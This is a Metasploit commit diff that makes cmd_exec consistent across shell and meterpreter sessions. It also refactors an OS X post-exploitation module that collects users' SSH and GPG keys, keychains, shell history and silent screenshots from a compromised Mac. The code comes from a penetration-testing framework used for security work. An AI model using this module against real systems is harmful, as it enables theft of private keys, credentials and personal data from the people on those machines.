Land #10048, Make shell and meterpreter sessions consistent with cmd_exec

GSoC/Meterpreter_Web_Console
Brendan Coles 2018-05-22 21:26:47 +00:00
commit b14e354b25
No known key found for this signature in database
GPG Key ID: 3EB700FCFBA899B5
2 changed files with 38 additions and 143 deletions

View File

@ -80,31 +80,10 @@ module Msf::Post::Common
# #
# Returns a (possibly multi-line) String. # Returns a (possibly multi-line) String.
# #
def cmd_exec(cmd, args=nil, time_out=15) def cmd_exec(cmd, args="", time_out=15)
case session.type case session.type
when /meterpreter/ when /meterpreter/
#
# The meterpreter API requires arguments to come separately from the
# executable path. This has no effect on Windows where the two are just
# blithely concatenated and passed to CreateProcess or its brethren. On
# POSIX, this allows the server to execve just the executable when a
# shell is not needed. Determining when a shell is not needed is not
# always easy, so it assumes anything with arguments needs to go through
# /bin/sh.
#
# This problem was originally solved by using Shellwords.shellwords but
# unfortunately, it is unsuitable. When a backslash occurs inside double
# quotes (as is often the case with Windows commands) it inexplicably
# removes them. So. Shellwords is out.
#
# By setting +args+ to an empty string, we can get POSIX to send it
# through /bin/sh, solving all the pesky parsing troubles, without
# affecting Windows.
#
start = Time.now.to_i start = Time.now.to_i
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
args = ""
end
session.response_timeout = time_out session.response_timeout = time_out
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
@ -120,7 +99,6 @@ module Msf::Post::Common
end end
end end
end end
o.chomp! if o
begin begin
process.channel.close process.channel.close
@ -130,22 +108,12 @@ module Msf::Post::Common
process.close process.close
when /powershell/ when /powershell/
if args.nil? || args.empty? o = session.shell_command("#{cmd} #{args}", time_out)
o = session.shell_command("#{cmd}", time_out)
else
o = session.shell_command("#{cmd} #{args}", time_out)
end
o.chomp! if o
when /shell/ when /shell/
if args.nil? || args.empty? o = session.shell_command_token("#{cmd} #{args}", time_out)
o = session.shell_command_token("#{cmd}", time_out)
else
o = session.shell_command_token("#{cmd} #{args}", time_out)
end
o.chomp! if o
end end
return "" if o.nil?
return o o ? o.chomp : ""
end end
def cmd_exec_get_pid(cmd, args=nil, time_out=15) def cmd_exec_get_pid(cmd, args=nil, time_out=15)

View File

@ -30,7 +30,7 @@ class MetasploitModule < Msf::Post
when /meterpreter/ when /meterpreter/
host = sysinfo["Computer"] host = sysinfo["Computer"]
when /shell/ when /shell/
host = cmd_exec("hostname").chomp host = cmd_exec("hostname")
end end
print_status("Running module against #{host}") print_status("Running module against #{host}")
running_root = check_root running_root = check_root
@ -84,7 +84,7 @@ class MetasploitModule < Msf::Post
when /meterpreter/ when /meterpreter/
host = Rex::FileUtils.clean_path(sysinfo['Computer']) host = Rex::FileUtils.clean_path(sysinfo['Computer'])
when /shell/ when /shell/
host = Rex::FileUtils.clean_path(cmd_exec('hostname').chomp) host = Rex::FileUtils.clean_path(cmd_exec('hostname'))
end end
# Create Filename info to be appended to downloaded files # Create Filename info to be appended to downloaded files
@ -105,42 +105,19 @@ class MetasploitModule < Msf::Post
# Checks if running as root on the target # Checks if running as root on the target
def check_root def check_root
# Get only the account ID # Get only the account ID
case session.type cmd_exec("/usr/bin/id", "-ru") == "0"
when /shell/
id = cmd_exec("/usr/bin/id -ru").chomp
when /meterpreter/
id = cmd_exec("/usr/bin/id", "-ru").chomp
end
if id == "0"
return true
else
return false
end
end end
# Checks if the target is OSX Server # Checks if the target is OSX Server
def check_server def check_server
# Get the OS Name # Get the OS Name
case session.type cmd_exec("/usr/bin/sw_vers", "-productName") =~/Server/
when /meterpreter/
osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp
when /shell/
osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp
end
return osx_ver =~/Server/
end end
# Enumerate the OS Version # Enumerate the OS Version
def get_ver def get_ver
# Get the OS Version # Get the OS Version
case session.type cmd_exec('/usr/bin/sw_vers', '-productVersion')
when /meterpreter/
osx_ver_num = cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp
when /shell/
osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp
end
return osx_ver_num
end end
def enum_conf(log_folder) def enum_conf(log_folder)
@ -176,35 +153,18 @@ class MetasploitModule < Msf::Post
# Enumerate first using System Profiler # Enumerate first using System Profiler
profile_datatypes.each do |name, profile_datatypes| profile_datatypes.each do |name, profile_datatypes|
print_status("\tEnumerating #{name}") print_status("\tEnumerating #{name}")
# Run commands according to the session type returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")
if session.type =~ /meterpreter/ # Save data lo log folder
returned_data = cmd_exec('system_profiler', profile_datatypes) file_local_write(log_folder+"//#{name}.txt", returned_data)
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",returned_data)
elsif session.type =~ /shell/
begin
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",returned_data)
rescue
end
end
end end
# Enumerate using system commands # Enumerate using system commands
shell_commands.each do |name, command| shell_commands.each do |name, command|
print_status("\tEnumerating #{name}") print_status("\tEnumerating #{name}")
# Run commands according to the session type command_output = cmd_exec(command[0],command[1])
# Save data lo log folder
begin begin
if session.type =~ /meterpreter/ file_local_write(log_folder+"//#{name}.txt",command_output)
command_output = cmd_exec(command[0],command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
elsif session.type =~ /shell/
command_output = cmd_exec(command[0], command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
end
rescue rescue
print_error("failed to run #{name}") print_error("failed to run #{name}")
end end
@ -231,22 +191,9 @@ class MetasploitModule < Msf::Post
end end
shell_commands.each do |name, command| shell_commands.each do |name, command|
print_status("\tEnumerating #{name}") print_status("\tEnumerating #{name}")
command_output = cmd_exec(command[0], command[1])
# Run commands according to the session type # Save data lo log folder
if session.type =~ /meterpreter/ file_local_write(log_folder+"//#{name}.txt", command_output)
command_output = cmd_exec(command[0], command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt", command_output)
elsif session.type =~ /shell/
command_output = cmd_exec(command.join(' '))
# Save data lo log folder
file_local_write(log_folder + "//#{name}.txt", command_output)
end
end end
end end
@ -260,12 +207,12 @@ class MetasploitModule < Msf::Post
if not check_root if not check_root
# Enumerate the home folder content # Enumerate the home folder content
home_folder_list = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ")
# Check for SSH folder and extract keys if found # Check for SSH folder and extract keys if found
if home_folder_list.include?("\.ssh") if home_folder_list.include?("\.ssh")
print_status(".ssh Folder is present") print_status(".ssh Folder is present")
ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").chomp.split(", ") ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").split(", ")
ssh_folder.each do |k| ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/ next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}") print_status("\tDownloading #{k.strip}")
@ -279,7 +226,7 @@ class MetasploitModule < Msf::Post
# Check for GPG and extract keys if found # Check for GPG and extract keys if found
if home_folder_list.include?("\.gnupg") if home_folder_list.include?("\.gnupg")
print_status(".gnupg Folder is present") print_status(".gnupg Folder is present")
gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").chomp.split(", ") gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").split(", ")
gnugpg_folder.each do |k| gnugpg_folder.each do |k|
next if k =~/^\.$|^\.\.$/ next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}") print_status("\tDownloading #{k.strip}")
@ -291,22 +238,17 @@ class MetasploitModule < Msf::Post
end end
else else
users = [] users = []
case session.type users_folder = cmd_exec("/bin/ls","/Users")
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users")
when /shell/
users_folder = cmd_exec("/bin/ls /Users")
end
users_folder.each_line do |u| users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/ next if u.chomp =~ /Shared|\.localized/
users << u.chomp users << u.chomp
end end
users.each do |u| users.each do |u|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
if user_folder.include?("\.ssh") if user_folder.include?("\.ssh")
print_status(".ssh Folder is present for #{u}") print_status(".ssh Folder is present for #{u}")
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ") ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(", ")
ssh_folder.each do |k| ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/ next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}") print_status("\tDownloading #{k.strip}")
@ -320,10 +262,10 @@ class MetasploitModule < Msf::Post
users.each do |u| users.each do |u|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
if user_folder.include?("\.ssh") if user_folder.include?("\.ssh")
print_status(".gnupg Folder is present for #{u}") print_status(".gnupg Folder is present for #{u}")
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ") ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(", ")
ssh_folder.each do |k| ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/ next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}") print_status("\tDownloading #{k.strip}")
@ -356,13 +298,10 @@ class MetasploitModule < Msf::Post
end end
end end
else else
# Run commands according to the session type cmd_exec("/usr/sbin/screencapture", "-x /tmp/#{picture_name}.jpg")
if session.type =~ /shell/ file_local_write(log_folder+"//screenshot.jpg",
cmd_exec("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg") cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
file_local_write(log_folder+"//screenshot.jpg", cmd_exec("/usr/bin/srm", "-m -z /tmp/#{picture_name}.jpg")
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
cmd_exec("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg")
end
end end
print_status("Screenshot Captured") print_status("Screenshot Captured")
end end
@ -370,16 +309,9 @@ class MetasploitModule < Msf::Post
def dump_bash_history(log_folder) def dump_bash_history(log_folder)
print_status("Extracting history files") print_status("Extracting history files")
# Run commands according to the session type
users = [] users = []
case session.type users_folder = cmd_exec("/bin/ls","/Users")
when /meterpreter/ current_user = cmd_exec("/usr/bin/id","-nu")
users_folder = cmd_exec("/bin/ls","/Users").chomp
current_user = cmd_exec("/usr/bin/id","-nu").chomp
when /shell/
users_folder = cmd_exec("/bin/ls /Users").chomp
current_user = cmd_exec("/usr/bin/id -nu").chomp
end
users_folder.each_line do |u| users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/ next if u.chomp =~ /Shared|\.localized/
users << u.chomp users << u.chomp
@ -389,7 +321,7 @@ class MetasploitModule < Msf::Post
if current_user == "root" if current_user == "root"
# Check the root user folder # Check the root user folder
root_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") root_folder = cmd_exec("/bin/ls -ma ~/").split(", ")
root_folder.each do |f| root_folder.each do |f|
if f =~ /\.\w*\_history/ if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for root") print_status("\tHistory file #{f.strip} found for root")
@ -405,7 +337,7 @@ class MetasploitModule < Msf::Post
users.each do |u| users.each do |u|
# Lets get a list of all the files on the users folder and place them in an array # Lets get a list of all the files on the users folder and place them in an array
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
user_folder.each do |f| user_folder.each do |f|
if f =~ /\.\w*\_history/ if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for #{u}") print_status("\tHistory file #{f.strip} found for #{u}")
@ -419,7 +351,7 @@ class MetasploitModule < Msf::Post
end end
else else
current_user_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") current_user_folder = cmd_exec("/bin/ls -ma ~/").split(", ")
current_user_folder.each do |f| current_user_folder.each do |f|
if f =~ /\.\w*\_history/ if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for #{current_user}") print_status("\tHistory file #{f.strip} found for #{current_user}")
@ -436,12 +368,7 @@ class MetasploitModule < Msf::Post
# Download configured Keychains # Download configured Keychains
def get_keychains(log_folder) def get_keychains(log_folder)
users = [] users = []
case session.type users_folder = cmd_exec("/bin/ls","/Users")
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users").chomp
when /shell/
users_folder = cmd_exec("/bin/ls /Users").chomp
end
users_folder.each_line do |u| users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/ next if u.chomp =~ /Shared|\.localized/
users << u.chomp users << u.chomp
@ -459,7 +386,7 @@ class MetasploitModule < Msf::Post
end end
end end
else else
current_user = cmd_exec("/usr/bin/id -nu").chomp current_user = cmd_exec("/usr/bin/id -nu")
print_status("Enumerating and Downloading keychains for #{current_user}") print_status("Enumerating and Downloading keychains for #{current_user}")
keychain_files = cmd_exec("usr/bin/security list-keychains").split("\n") keychain_files = cmd_exec("usr/bin/security list-keychains").split("\n")
keychain_files.each do |k| keychain_files.each do |k|